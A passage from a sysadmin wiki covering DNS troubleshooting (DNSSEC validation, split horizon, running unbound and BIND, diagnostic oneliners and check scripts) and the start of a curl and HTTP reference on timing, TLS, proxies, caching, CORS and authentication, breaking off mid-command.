delegation signer record at the parent ``` A `SERVFAIL` that turns into `NOERROR` with `+cdflag` is a validation failure: expired signatures, or a DS record at the parent that no longer matches the zone's keys after a key rollover or DNS provider move. The chain of trust runs from the root key, through a `DS` record in each parent that hashes the child's key-signing key (`DNSKEY` with flags `257`), to the zone-signing key (flags `256`) that signs the records. Every link is checkable by hand. ```sh dig DNSKEY example.com +short | awk '$1 == 257' # the KSK(s), what the parent's DS must hash dig DS example.com @a.gtld-servers.net +norecurse +short # DS as published at the parent dig +dnssec +multiline SOA example.com | grep -A1 RRSIG # signature validity window: inception and expiration dnssec-dsfromkey -2 Kexample.com.+013+12345.key # SHA-256 DS record to give the registrar, from the KSK file dnssec-verify -o example.com /var/named/example.com.zone.signed # verify a signed zone file offline before publishing delv +vtrace example.com 2>&1 | grep -iE 'validat|bogus|insecure' # where a broken chain breaks ``` `RRSIG` expiration is the silent failure: a zone signed once by hand validates until the signatures expire, typically after 30 days, and then every validating resolver returns `SERVFAIL` at once. Use automatic signing (`dnssec-policy` in BIND, or the provider's managed signing) and alert on the earliest expiration in the zone. When moving a signed zone between providers, remove the DS at the registrar first, wait the parent's DS TTL, move the zone, then publish the new DS. A DS pointing at keys the new provider does not hold makes the zone bogus for every validating client, which is most of them. ## Split horizon Split horizon serves different answers for the same name depending on who asks: internal clients get private addresses, the internet gets public ones. It is usually the explanation when `dig` on the VPN and `dig @1.1.1.1` disagree and nothing is cached. In BIND, `view` blocks with `match-clients` select a complete configuration per client set; the first matching view wins and each view carries its own zones, so the same zone name loads from two different files: ```text view "internal" { match-clients { 192.0.2.0/24; 2001:db8::/32; localhost; }; recursion yes; zone "example.com" { type primary; file "internal/example.com.zone"; }; }; view "external" { match-clients { any; }; recursion no; zone "example.com" { type primary; file "external/example.com.zone"; }; }; ``` In unbound, `local-zone` and `local-data` override a name for every client, and `forward-zone` sends a suffix to an internal authoritative server instead of the internet. `transparent` answers from local data where it exists and recurses for everything else under the name; `static` refuses to recurse, so an unlisted name under it is `NXDOMAIN`; `redirect` answers the whole subtree with the same data. ```text server: local-zone: "corp.example.com." transparent local-data: "git.corp.example.com. IN A 192.0.2.40" local-data-ptr: "192.0.2.40 git.corp.example.com" private-domain: "corp.example.com." # allow RFC 1918 answers from this domain despite rebinding protection forward-zone: name: "example.internal." forward-addr: 192.0.2.53 ``` Clients on a split-horizon network need their queries to reach the internal resolver; a laptop with a hard-coded public resolver bypasses the whole arrangement, and a resolver with `private-address` rebinding protection strips internal addresses returned by external names unless the domain is listed in `private-domain`. ## Running a resolver A local recursive resolver removes the dependency on an upstream and gives you a cache you can inspect and flush. unbound is the smaller choice for a recursive-only role; BIND does recursion and authoritative service in one daemon. Minimal unbound as a caching resolver for one network, validating DNSSEC with the root anchor that `unbound-anchor` maintains: ```text # /etc/unbound/unbound.conf server: interface: 0.0.0.0 interface: ::0 access-control: 192.0.2.0/24 allow access-control: 2001:db8::/32 allow # everything not listed is refused auto-trust-anchor-file: "/var/lib/unbound/root.key" prefetch: yes # refresh popular records before they expire cache-min-ttl: 0 # honour published TTLs; raising this serves stale data harden-dnssec-stripped: yes verbosity: 1 log-queries: no # yes for a short diagnosis only; one line per query remote-control: control-enable: yes control-interface: 127.0.0.1 ``` ```sh unbound-checkconf # parse the config; run before every reload sudo systemctl reload unbound # or unbound-control reload, which also flushes the cache unbound-control status # version, threads, uptime; exit code 3 if not running unbound-control stats_noreset | grep -E 'total.num.(queries|cachehits|cachemiss)|num.answer.rcode' unbound-control lookup api.example.com # which nameservers unbound would ask, with their RTT unbound-control flush_zone example.com # drop everything at and below the name unbound-control flush_negative # drop cached NXDOMAIN, NODATA and SERVFAIL answers unbound-control dump_cache > cache.txt # full cache in text; load_cache reads the same format unbound-control local_data 'test.example.com. IN A 192.0.2.99' # runtime override, lost on restart unbound-host -C /etc/unbound/unbound.conf -v api.example.com # resolve with that config and print the security status ``` Minimal BIND as a recursive resolver plus one authoritative zone: ```text # /etc/named.conf options { directory "/var/named"; listen-on { 192.0.2.53; 127.0.0.1; }; allow-query { 192.0.2.0/24; localhost; }; allow-recursion { 192.0.2.0/24; localhost; }; # separate from allow-query; an open recursor is an amplifier recursion yes; dnssec-validation auto; # built-in root trust anchor, RFC 5011 tracked }; zone "example.com" { type primary; file "example.com.zone"; allow-transfer { 198.51.100.53; }; # secondaries only; set it explicitly rather than relying on the default notify yes; }; ``` ```sh named-checkconf -z && rndc reconfig # reconfig loads new zones without reloading existing ones rndc status # zones loaded, recursive clients, query logging state rndc dumpdb -cache && less /var/named/data/cache_dump.db # cache contents with remaining TTLs rndc flushname api.example.com # one name; rndc flushtree drops the subtree, rndc flush drops everything rndc querylog # toggle per-query logging to the configured channel rndc dnssec -status example.com # key states under dnssec-policy rndc sync -clean example.com # write dynamic-update journal to the zone file ``` `rndc freeze example.com` stops dynamic updates so the zone file can be edited by hand; `rndc thaw example.com` reloads it and resumes. Editing the file while it is not frozen loses the edit at the next journal write. ## Troubleshooting | Symptom | Likely cause | Check | | --- | --- | --- | | `NXDOMAIN` for a record you just created | Negative answer cached before creation | SOA negative TTL; query the authoritative server with `+norecurse` | | Old address after a change | Positive cache within the old TTL, or the application cached it | `dig` against several resolvers; restart the client | | `SERVFAIL` from one resolver only | That resolver validates DNSSEC and the zone fails validation | `dig +cdflag`; `delv` | | `SERVFAIL` everywhere | Lame delegation: parent NS points at servers that do not serve the zone | `dig +trace`; query each NS with `+norecurse` | | `dig` works, application does not | `/etc/hosts`, NSS order, or a different resolver in the container | `getent ahosts`; `cat /etc/resolv.conf` inside the container | | Slow first request, fast repeats | Search list expansion or a slow upstream | Count queries with `resolvectl monitor` or CoreDNS logs; fully qualify the name | | 5 second delays on lookups | UDP reply lost (conntrack race or firewall), resolver waits for its timeout | Packet capture on port 53; `options single-request-reopen` (glibc) | | Large responses fail | UDP truncated and TCP 53 blocked | `dig +tcp`; allow TCP 53 | | Reverse lookup returns nothing | No PTR record, or the address owner has not delegated the reverse zone | `dig -x` against the provider's servers | | Name resolves in the cluster only intermittently | CoreDNS replica unhealthy or NetworkPolicy drop | CoreDNS logs and EndpointSlice; policy on port 53 | | Secondaries serve the old zone | Serial not incremented, or transfer refused | `dig +nssearch example.com`; `rndc zonestatus`; `allow-transfer` on the primary | | Every validating resolver fails at once | RRSIGs expired | `dig +dnssec +multiline SOA example.com`, compare the RRSIG expiration with today | | Zone bogus after a provider move | DS at the registrar hashes keys the new provider does not have | `dig DS example.com +short` against `dnssec-dsfromkey` of the live KSK; `delv +vtrace` | | Internal names fail after connecting to a VPN | Routing domain missing or a second link owns the default route | `resolvectl status`; `resolvectl domain vpn0 '~corp.example.com'` | | Private address stripped from an answer | Resolver rebinding protection (`private-address`) | `unbound-control list_local_zones`; add `private-domain` for that suffix | | `REFUSED` from your own resolver | Client address outside `access-control` or `allow-recursion` | `unbound-checkconf`; `named-checkconf -p \| grep -A3 allow-recursion` | | Name resolves for `dig` but `nslookup` or the app returns a wrong address | `/etc/hosts` entry, or `myhostname`/`mdns` in `nsswitch.conf` | `getent ahosts`; `grep hosts /etc/nsswitch.conf` | | `rndc: connect failed: connection refused` | `named` not running, or `controls` not listening on `127.0.0.1#953` | `systemctl status named`; `ss -ltnp \| grep 953`; `rndc-confgen` for the key | | Changes to a zone file disappear | Dynamic updates rewrote the file from the journal | `rndc freeze` before editing, `rndc thaw` after | For connectivity to the resolver itself, see [iproute2](https://www.wiki.jodisand.me/iproute2/#a-connectivity-problem). ## Oneliners ```sh # Compare answers across public resolvers for r in 1.1.1.1 8.8.8.8 9.9.9.9; do printf '%s: %s\n' "$r" "$(dig +short @"$r" api.example.com | tr '\n' ' ')"; done # Common record types for a name for t in A AAAA CNAME HTTPS MX TXT NS SOA CAA; do printf '%-6s %s\n' "$t" "$(dig +short "$t" example.com | tr '\n' ' ')"; done # Serial on every authoritative server, to check zone transfer and replication for ns in $(dig +short NS example.com); do printf '%s %s\n' "$ns" "$(dig +short SOA @"$ns" example.com | awk '{print $3}')"; done # Reverse lookups for part of a subnet for i in $(seq 1 20); do dig +short -x "192.0.2.$i" | sed "s/^/192.0.2.$i /"; done # Resolve through one interface's resolver (systemd-resolved) resolvectl query --interface=eth0 api.example.com # Watch queries as they happen (systemd-resolved, needs root) resolvectl monitor # SPF and DMARC records dig +short TXT example.com | grep -i spf; dig +short TXT _dmarc.example.com # Which CAs may issue for this name dig +short CAA example.com # Time a lookup from inside a pod kubectl run -it --rm t --image=nicolaka/netshoot --restart=Never -- sh -c 'time dig +short api.example.com' # Watch a record change during a cutover while :; do printf '%s %s\n' "$(date +%T)" "$(dig +short @1.1.1.1 api.example.com)"; sleep 5; done # Serial and response time from every authoritative server in one command dig +nssearch example.com # Full delegation chain, only the last hop's answer and the servers consulted dig +trace +nodnssec api.example.com | grep -E '^(api\.example\.com|;; Received)' # Does the parent's NS set match the child's diff <(dig +short NS example.com @a.gtld-servers.net +norecurse | sort) <(dig +short NS example.com @ns1.example.com +norecurse | sort) # Does every glue record resolve to the address the parent publishes for ns in $(dig +short NS example.com); do printf '%-24s %s\n' "$ns" "$(dig +short A "$ns" | tr '\n' ' ')"; done # TTLs in human units for an answer with many records dig +noall +answer +ttlunits example.com # All records at the apex, whether ANY is honoured or not (RFC 8482 servers return a synthetic HINFO) for t in SOA NS A AAAA MX TXT CAA HTTPS DNSKEY; do dig +noall +answer "$t" example.com; done # RRSIG expiration dates for a name, oldest first dig +dnssec +noall +answer example.com SOA | awk '$4 == "RRSIG" {print $9}' | sort # Validate a zone from any host, without trusting the local resolver delv +short example.com && echo validated # Resolve over DNS-over-TLS and confirm the transport in the footer dig +tls @1.1.1.1 example.com | grep -E 'SERVER|TLS' # What a client in another network would be told (EDNS Client Subnet, geo-routed zones) dig +short +subnet=198.51.100.0/24 @8.8.8.8 api.example.com # Reproduce a truncation problem: small buffer, no EDNS, then confirm TCP works dig +bufsize=512 +ignore DNSKEY example.com | grep flags; dig +tcp DNSKEY example.com | grep status # Query a resolver on a non-standard port, IPv4 only, fail after 2 seconds dig -4 -p 5353 +timeout=2 +tries=1 @127.0.0.1 api.example.com # Batch resolve a file of names, one line each: name, then addresses dig -f names.txt +short +identify # Zone transfer, when your address is allowed: full zone as records dig +tcp AXFR example.com @ns1.example.com | grep -v '^;' # DS record to hand to the registrar, from the live KSK dig +short DNSKEY example.com | awk '$1 == 257' | sed 's/^/example.com. IN DNSKEY /' | dnssec-dsfromkey -2 -f /dev/stdin example.com # drill: chase signatures to the root and print the trust path drill -S -k /var/lib/unbound/root.key example.com # systemd-resolved: cache hit rate since the last reset resolvectl statistics | grep -E 'Current Cache Size|Cache Hits|Cache Misses' # systemd-resolved: which link answers a given domain resolvectl status | awk '/^Link/ {link=$0} /DNS Domain/ {print link ": " $0}' # systemd-resolved: JSON answer for scripting resolvectl query --json=short api.example.com | jq -r '.answer[].rr.a.address // empty' # What resolves this host, ordered as applications use it grep -E '^hosts:' /etc/nsswitch.conf; ls -l /etc/resolv.conf; grep -E '^(nameserver|search|options)' /etc/resolv.conf # unbound: top cache misses by name, from a short query-log sample unbound-control stats_noreset | grep -E 'num\.(queries|cachehits|cachemiss)' # unbound: which servers it would ask for a name, with RTTs unbound-control lookup api.example.com # BIND: dump the cache and list what it holds for one zone rndc dumpdb -cache && grep -A2 'example.com' /var/named/data/cache_dump.db | head # Reverse zone name for a prefix, for delegation and PTR work arpaname 192.0.2.10 2001:db8::10 # Names in a CoreDNS log that hit search-domain expansion (queries ending in the cluster suffix for external names) kubectl -n kube-system logs -l k8s-app=kube-dns --tail 2000 | grep -oE '[a-z0-9.-]+\.com\.[a-z-]+\.svc\.cluster\.local\.' | sort | uniq -c | sort -rn | head # Measure lookup latency through the local resolver, 20 samples for i in $(seq 20); do dig api.example.com | awk '/Query time/ {print $4}'; done | sort -n | awk '{a[NR]=$1} END {print "min", a[1], "median", a[int(NR/2)+1], "max", a[NR]}' # Which pods override cluster DNS with their own dnsPolicy or dnsConfig kubectl get pods -A -o json | jq -r '.items[] | select(.spec.dnsPolicy != "ClusterFirst" or .spec.dnsConfig != null) | "\(.metadata.namespace)/\(.metadata.name) \(.spec.dnsPolicy)"' ``` ## Scripts Check that every authoritative server for a zone answers, agrees on the serial and is not a lame delegation; exit non-zero if any disagree, so it can run from cron before and after a zone change. ```sh #!/usr/bin/env bash # Usage: zone-consistency.sh example.com set -euo pipefail zone=${1:?zone required} mapfile -t parent_ns < <(dig +short NS "$zone" | sort) (( ${#parent_ns[@]} > 0 )) || { printf 'no NS records for %s\n' "$zone" >&2; exit 1; } declare -A serial rc=0 for ns in "${parent_ns[@]}"; do out=$(dig +norecurse +time=3 +tries=1 SOA "$zone" @"$ns" 2>&1) || { printf '%-28s unreachable\n' "$ns"; rc=1; continue; } if ! grep -q 'flags:.* aa' <<<"$out"; then printf '%-28s not authoritative (lame)\n' "$ns"; rc=1; continue; fi s=$(awk -v z="$zone." '$1 == z && $4 == "SOA" {print $7}' <<<"$out") serial[$ns]=$s printf '%-28s serial %s\n' "$ns" "$s" done distinct=$(printf '%s\n' "${serial[@]}" | sort -u | wc -l) if (( distinct > 1 )); then printf 'serials disagree across %d servers\n' "${#serial[@]}" >&2; rc=1; fi child_ns=$(dig +short +norecurse NS "$zone" @"${parent_ns[0]}" | sort) if [[ "$child_ns" != "$(printf '%s\n' "${parent_ns[@]}")" ]]; then printf 'NS set at parent differs from NS set in zone\n' >&2; rc=1; fi exit "$rc" ``` Warn when DNSSEC signatures on a set of zones are within a given number of days of expiring, or when the DS at the parent no longer matches a published key-signing key. ```sh #!/usr/bin/env bash # Usage: dnssec-expiry.sh 7 example.com example.net set -euo pipefail days=${1:?days required}; shift now=$(date +%s); rc=0 for zone in "$@"; do exp=$(dig +dnssec +noall +answer SOA "$zone" | awk '$4 == "RRSIG" {print $9}' | sort | head -1) if [[ -z "$exp" ]]; then printf '%-24s unsigned or RRSIG not returned\n' "$zone"; continue; fi exp_epoch=$(date -u -d "${exp:0:8} ${exp:8:2}:${exp:10:2}:${exp:12:2}" +%s) # RRSIG time is YYYYMMDDHHmmss UTC left=$(( (exp_epoch - now) / 86400 )) status=ok; (( left < days )) && { status=EXPIRING; rc=1; } ds_parent=$(dig +short DS "$zone" | awk '{print $1}' | sort -u | tr '\n' ' ') ds_zone=$(dig +short DNSKEY "$zone" | awk '$1 == 257' | sed "s/^/$zone. IN DNSKEY /" | dnssec-dsfromkey -2 -f /dev/stdin "$zone" 2>/dev/null | awk '{print $4}' | sort -u | tr '\n' ' ') match=match for tag in $ds_parent; do [[ " $ds_zone " == *" $tag "* ]] || { match=MISMATCH; rc=1; }; done printf '%-24s %s signatures expire in %3d days; DS %s (parent tags: %s)\n' "$zone" "$status" "$left" "$match" "${ds_parent:-none}" done exit "$rc" ``` Report how resolution behaves for one name across every layer a host uses: NSS, the stub resolver, each upstream server, and a public resolver, so a "works here, not there" report can be pinned to a layer in one run. ```python #!/usr/bin/env python3 """Usage: resolve-layers.py api.example.com""" import socket, subprocess, sys name = sys.argv[1] def dig(*args): out = subprocess.run(["dig", "+short", "+time=2", "+tries=1", *args, name], capture_output=True, text=True, timeout=10) return " ".join(out.stdout.split()) or f"(none, rc={out.returncode})" try: nss = sorted({r[4][0] for r in socket.getaddrinfo(name, None)}) except socket.gaierror as e: nss = [f"gaierror: {e}"] print(f"{'getaddrinfo (NSS)':<28} {' '.join(nss)}") print(f"{'stub resolver (dig)':<28} {dig()}") with open("/etc/resolv.conf") as f: servers = [l.split()[1] for l in f if l.startswith("nameserver")] if "127.0.0.53" in servers: r = subprocess.run(["resolvectl", "status"], capture_output=True, text=True, timeout=10) servers = [w for line in r.stdout.splitlines() if "DNS Servers:" in line for w in line.split(":", 1)[1].split()] for s in servers: print(f"{'upstream ' + s:<28} {dig('@' + s)}") for s in ("1.1.1.1", "8.8.8.8"): print(f"{'public ' + s:<28} {dig('@' + s)}") print(f"{'authoritative':<28} {dig('+norecurse', '@' + (dig('NS').split() or ['.'])[0])}") ``` ## Further reading - `man dig`, `man delv`, `man drill`, `man resolvectl`, `man resolv.conf`, `man resolved.conf`, `man unbound.conf`, `man named.conf` - [RFC 1034](https://www.rfc-editor.org/rfc/rfc1034) for the model, [RFC 1035](https://www.rfc-editor.org/rfc/rfc1035) for the zone file format, [RFC 2308](https://www.rfc-editor.org/rfc/rfc2308) for negative caching, [RFC 9460](https://www.rfc-editor.org/rfc/rfc9460) for SVCB and HTTPS records - [BIND 9 Administrator Reference Manual](https://bind9.readthedocs.io/en/latest/) for `named.conf`, views, `rndc` and the `dnssec-*` tools - [Unbound documentation](https://unbound.docs.nlnetlabs.nl/en/latest/) for `unbound.conf` and `unbound-control` - [systemd-resolved.service](https://www.freedesktop.org/software/systemd/man/latest/systemd-resolved.service.html) for link routing and the stub resolver - [Kubernetes DNS for Services and Pods](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/) --- # HTTP and curl > Use curl to test HTTP endpoints, break request time into DNS, TCP, TLS and server phases, script calls safely, and read what status codes mean. Canonical: https://www.wiki.jodisand.me/http/ Reviewed: 2026-09-24 Related: [DNS](https://www.wiki.jodisand.me/dns/index.md), [TLS and certificates](https://www.wiki.jodisand.me/tls/index.md), [Squid](https://www.wiki.jodisand.me/squid/index.md), [Traefik](https://www.wiki.jodisand.me/traefik/index.md), [Bash](https://www.wiki.jodisand.me/bash/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Response headers only (sends HEAD) | `curl -I https://example.com` | | Headers of a real GET | `curl -sS -D - -o /dev/null https://example.com` | | Follow redirects | `curl -L https://example.com` | | Fail with a non-zero exit on 4xx/5xx | `curl -fsS https://example.com` | | Show request and response headers, TLS details | `curl -v https://example.com` | | Status code only | `curl -o /dev/null -sw '%{http_code}\n' https://example.com` | | Timing breakdown | `curl -o /dev/null -sw '@curl-format.txt' https://example.com` | | POST JSON | `curl --json @body.json https://api.example.com/items` | | Upload a file as multipart form | `curl -F file=@report.csv https://api.example.com/upload` | | Bearer token | `curl -H "Authorization: Bearer $API_TOKEN" https://api.example.com` | | Connect to a chosen IP, keep Host and SNI | `curl --resolve api.example.com:443:192.0.2.10 https://api.example.com` | | Skip certificate verification | `curl -k https://example.com` (diagnosis only) | | Force an HTTP version | `curl --http1.1 URL`, `curl --http2 URL`, `curl --http3 URL` | | Through a proxy | `curl -x http://proxy.example.com:3128 https://example.com` | | Retry transient failures | `curl --retry 3 --retry-delay 2 --retry-connrefused URL` | | Bound the time | `curl --connect-timeout 3 --max-time 10 URL` | | Keep cookies between calls | `curl -c jar.txt -b jar.txt URL` | `--json` (curl 7.82.0 and later) sends the body with `Content-Type: application/json` and `Accept: application/json`. `--http3` needs a curl built with HTTP/3 support; check `curl --version` for `HTTP3` in the features line. ## A request that is failing ```sh # Handshake, request headers (>), response headers (<), status curl -sSv https://api.example.com/health -o /dev/null # Where the time goes curl -o /dev/null -sw 'code=%{http_code} dns=%{time_namelookup} conn=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total}\n' https://api.example.com/health # Bypass DNS and hit one backend, keeping the Host header and TLS SNI curl -sv --resolve api.example.com:443:192.0.2.10 https://api.example.com/health -o /dev/null ``` | Failure | Where it happened | | --- | --- | | `Could not resolve host` (exit 6) | DNS; see [DNS](https://www.wiki.jodisand.me/dns/#a-name-that-will-not-resolve) | | `Connection refused` (exit 7) | Host reached, nothing listening on that port, or a firewall sent a reset | | `Connection timed out` (exit 28 with `--connect-timeout`) | Packets dropped: firewall, security group, routing; see [iproute2](https://www.wiki.jodisand.me/iproute2/#a-connectivity-problem) | | `SSL certificate problem` (exit 60) | Incomplete chain, name mismatch, expiry, or CA missing from this trust store; see [TLS](https://www.wiki.jodisand.me/tls/) | | `SSL_ERROR_SYSCALL` or `unexpected eof` during handshake | Something in the path closed the connection: a proxy, a load balancer without the certificate, or a port that does not speak TLS | | Works with `-k` | The problem is certificate validation, not connectivity | | Long `time_appconnect` | Slow TLS handshake: high latency (several round trips), a large chain, or a CPU-starved terminator | | Long `time_starttransfer`, everything else short | The server is slow to produce the first byte | | `Empty reply from server` (exit 52) | The server or a middlebox closed the connection without sending a response | ## Timing All `time_*` write-out values are measured from the start of the transfer, so each includes the phases before it. ```sh cat > curl-format.txt <<'EOF' dns %{time_namelookup}s connect %{time_connect}s tls %{time_appconnect}s waiting %{time_starttransfer}s total %{time_total}s size %{size_download} bytes code %{http_code} version %{http_version} EOF curl -o /dev/null -s -w '@curl-format.txt' https://api.example.com/health ``` ```text dns 0.012345s connect 0.030112s tls 0.071870s waiting 0.180553s total 0.181204s size 15 bytes code 200 version 2 ``` Subtract to isolate each phase: | Phase | Formula | | --- | --- | | DNS | `time_namelookup` | | TCP handshake | `time_connect - time_namelookup` | | TLS handshake | `time_appconnect - time_connect` (0 for plain HTTP) | | Server processing plus one round trip | `time_starttransfer - time_appconnect` | | Body transfer | `time_total - time_starttransfer` | When a proxy is in use, `time_connect` is the connection to the proxy. ```sh # Ten samples, sorted, to separate a slow server from a slow tail for i in $(seq 10); do curl -o /dev/null -sw '%{time_total}\n' https://api.example.com/health; done | sort -n ``` ## Useful flags | Flag | Effect | | --- | --- | | `-f` / `--fail` | Exit 22 on HTTP 400 and above, without printing the body | | `--fail-with-body` | Exit 22 on HTTP errors but still output the body (7.76.0 and later) | | `-s` / `-S` | Silent; `-sS` stays silent but still prints errors | | `-L` | Follow redirects; `--max-redirs` bounds it (default 50) | | `-i` | Include response headers in the output | | `-D -` | Dump response headers to stdout while the body goes elsewhere | | `--compressed` | Ask for a compressed response and decode it | | `-A`, `-e` | Set User-Agent and Referer | | `--data-binary` | Send the payload exactly as given | | `-G` | Move `-d` data into the query string and send GET | | `--url-query` | Append a URL-encoded query parameter (7.87.0 and later) | | `-w` | Write-out template: timings, sizes, redirect URL, status | | `-Z` | Run several URLs in parallel | | `--trace-ascii -` | Full dump of everything sent and received | ## Sending data ```sh # JSON body; -H is needed because -d defaults to form encoding curl -X POST https://api.example.com/items \ -H 'Content-Type: application/json' \ -d '{"name":"widget","qty":4}' # JSON from a file with --json (sets Content-Type and Accept) curl --json @payload.json https://api.example.com/items # Multipart form upload curl -F 'file=@report.csv' -F 'note=monthly' https://api.example.com/upload # URL-encoded query string curl -G https://api.example.com/search --data-urlencode 'q=name with spaces' --data-urlencode 'limit=10' # PATCH with a merge patch curl -X PATCH -H 'Content-Type: application/merge-patch+json' -d '{"qty":5}' https://api.example.com/items/1 # PUT a file curl -T ./artifact.tgz https://uploads.example.com/path/ ``` `-d` sends POST with `Content-Type: application/x-www-form-urlencoded` unless you override the header. `-d @file` strips carriage returns, newlines and null bytes from the file. `--data-binary @file` sends it byte for byte, which matters for signed payloads, YAML and NDJSON. ## TLS checks ```sh # Negotiated protocol, cipher, certificate subject, issuer and expiry curl -svI https://example.com 2>&1 | grep -E 'SSL connection|subject:|issuer:|expire date' # Force a TLS version range curl --tlsv1.3 -sI https://example.com curl --tlsv1.2 --tls-max 1.2 -sI https://example.com # Trust a private CA for this call curl --cacert ca.pem https://internal.example.com # Client certificate (mTLS) curl --cert client.pem --key client.key https://mtls.example.com ``` `-k` shows the problem is certificate validation and nothing more. Do not leave it in a script: it accepts any certificate, including an attacker's. curl does not check revocation unless you ask with `--cert-status` (OCSP stapling). For chain repair and `openssl s_client`, see [TLS](https://www.wiki.jodisand.me/tls/#testing-a-server). ## Proxies ```sh curl -x http://proxy.example.com:3128 https://api.example.com export https_proxy=http://proxy.example.com:3128 no_proxy=.example.com,localhost,10.0.0.0/8 curl --proxy-user "alice:$PROXY_PASSWORD" -x http://proxy.example.com:3128 https://api.example.com curl -x socks5h://localhost:1080 https://api.example.com # socks5h: the proxy resolves DNS curl -sv https://api.example.com -o /dev/null 2>&1 | grep -iE 'CONNECT|proxy' ``` curl reads lowercase `http_proxy` only; `HTTPS_PROXY` and `https_proxy` both work. `no_proxy` entries match the host itself or any name inside that domain (`example.com` matches `www.example.com`). CIDR ranges in `no_proxy` work from curl 7.86.0; other tools (Python `requests`, Go, Java) each have their own rules, so test the client you actually run. A proxy in the path shows as a `CONNECT` in verbose output for HTTPS, and often adds `Via` or `X-Cache` headers. See [Squid](https://www.wiki.jodisand.me/squid/) for the proxy side. `--proxy-user` on the command line is visible in `ps`. For anything shared, put credentials in a `.netrc` file or a config file read with `-K`. ## Redirects `-L` follows `Location` headers. For 301, 302 and 303 curl may switch a POST to GET on the next request; 307 and 308 keep the method and body. curl drops `Authorization` and `Cookie` headers when a redirect leaves the original origin, unless `--location-trusted` is set. ```sh # Every hop with its status and Location curl -sIL https://example.com | grep -iE '^HTTP/|^location:' # Final URL after all redirects curl -o /dev/null -sw '%{url_effective}\n' -L https://example.com ``` ## Caching A cache (browser, CDN, [Squid](https://www.wiki.jodisand.me/squid/)) stores a response according to its `Cache-Control` and reuses it while its age is below `max-age`; `Age` says how long the cache has held it. A stale copy is revalidated with a conditional request, and a `304` answer costs no body. | Directive | Where | Effect | | --- | --- | --- | | `max-age=N` | Response | Fresh for N seconds from the origin's `Date` | | `s-maxage=N` | Response | Same, for shared caches only; overrides `max-age` there | | `no-cache` | Response | Store, but revalidate with the origin before every reuse | | `no-store` | Response | Never write to disk or memory; for credentials and personal data | | `private` | Response | Browser may cache, shared caches must not | | `stale-while-revalidate=N` | Response | Serve stale for N seconds while refreshing in the background | | `Vary: Accept-Encoding` | Response | Cache key includes that request header; `Vary: *` disables caching | | `no-cache` | Request | Force revalidation; what a browser hard reload sends | `no-cache` means "always check", not "do not cache"; `no-store` keeps a response out of caches. Validation pairs `ETag` with `If-None-Match` or `Last-Modified` with `If-Modified-Since`. ```sh # See what a cache would do with this response curl -sSI https://example.com/app.js | grep -iE '^(cache-control|etag|last-modified|age|vary|expires|x-cache):' # Conditional GET: 304 if the ETag still matches curl -so /dev/null -w '%{http_code}\n' -H 'If-None-Match: "5d8c72a5edda8d6a"' https://example.com/app.js # Download again only when the ETag changed (7.68.0 and later) curl -sS --etag-compare etag.txt --etag-save etag.txt -o app.js https://example.com/app.js ``` A CDN or proxy adds `Age` and a hit or miss header (`X-Cache`, `CF-Cache-Status`); two requests in a row with a rising `Age` prove the cache holds the object. ## CORS CORS is enforced by browsers, not servers. A script on `https://app.example.com` calling `https://api.example.com` gets the response only if the API answers with `Access-Control-Allow-Origin` matching the page's origin (or `*`). curl ignores CORS, so "works in curl, fails in the browser" with an `Access-Control` console error is a missing header, not a connectivity problem. Any method other than GET, HEAD or POST, a non-form `Content-Type`, or a custom header such as `Authorization` triggers a preflight: the browser sends `OPTIONS` with `Origin`, `Access-Control-Request-Method` and `Access-Control-Request-Headers`, and sends the real request only if the answer allows them. ```sh # Reproduce a preflight; the server must return 2xx and the Access-Control-* headers curl -sS -X OPTIONS https://api.example.com/items \ -H 'Origin: https://app.example.com' \ -H 'Access-Control-Request-Method: PUT' \ -H 'Access-Control-Request-Headers: authorization,content-type' \ -D - -o /dev/null | grep -iE '^(HTTP/|access-control-)' ``` | Response header | Meaning | | --- | --- | | `Access-Control-Allow-Origin` | The one origin allowed, or `*`; must echo the exact origin when credentials are used | | `Access-Control-Allow-Methods` | Methods permitted after preflight | | `Access-Control-Allow-Headers` | Request headers permitted after preflight | | `Access-Control-Allow-Credentials: true` | Cookies and `Authorization` may be sent; incompatible with `*` | | `Access-Control-Expose-Headers` | Response headers script may read beyond the safe set | | `Access-Control-Max-Age` | Seconds the browser may cache the preflight result | A response that varies `Access-Control-Allow-Origin` per request must send `Vary: Origin`, or a shared cache serves one origin's answer to another. Preflights carry no cookies or `Authorization`, so an endpoint that rejects unauthenticated `OPTIONS` breaks CORS. ## Authentication | Scheme | Request header | curl | | --- | --- | --- | | Basic | `Authorization: Basic base64(user:pass)` | `-u "alice:$PASSWORD"` or `--basic` | | Bearer | `Authorization: Bearer ` | `--oauth2-bearer "$API_TOKEN"` or `-H` | | Digest | Challenge-response with a server nonce | `--digest -u "alice:$PASSWORD"` | | Negotiate (Kerberos / SPNEGO) | `Authorization: Negotiate ` | `--negotiate -u :` | | AWS Signature v4 | Signed headers and canonical request | `--aws-sigv4 aws:amz:ap-southeast-2:s3 -u "$AWS_ACCESS_KEY_ID:$AWS_SECRET_ACCESS_KEY"` | | Mutual TLS | Client certificate in the handshake | `--cert client.pem --key client.key`; see [TLS](https://www.wiki.jodisand.me/tls/) | Basic credentials are base64, not encrypted; never send them over plain HTTP. With `-u` and no scheme flag curl sends Basic immediately; `--anyauth` requests first and picks the strongest scheme from `WWW-Authenticate` at the cost of a round trip. ```sh # Credentials from ~/.netrc (mode 0600, one line: machine api.example.com login alice password ...) curl -n https://api.example.com/me # --netrc-file for another path # OAuth2 client-credentials flow, then use the token token=$(curl -fsS -u "$CLIENT_ID:$CLIENT_SECRET" -d 'grant_type=client_credentials' https://auth.example.com/oauth/token | jq -r .access_token) curl -fsS --oauth2-bearer "$token" https://api.example.com/items ``` `-u` on the command line is visible through `ps` and lands in shell history. Prefer `-n`, a config file passed with `-K`, or `--variable %API_TOKEN --expand-header 'Authorization: Bearer {{API_TOKEN}}'` (curl 8.3.0 and later), which reads the value from the environment. ## HTTP/2 and HTTP/3 HTTP/1.1 sends one request at a time per TCP connection. HTTP/2 multiplexes streams over one TLS connection and compresses headers; HTTP/3 does the same over QUIC (UDP 443), removing transport-level head-of-line blocking. The version is chosen through ALPN (`h2`, `http/1.1`) in the TLS handshake and, for HTTP/3, by an `Alt-Svc: h3=":443"` header on an earlier response. ```sh # Which version was negotiated curl -so /dev/null -w '%{http_version}\n' https://example.com # ALPN offer and answer curl -sv https://example.com -o /dev/null 2>&1 | grep -iE 'ALPN|using HTTP' # HTTP/2 without TLS, for a backend behind a terminating proxy (no upgrade, straight h2c) curl --http2-prior-knowledge 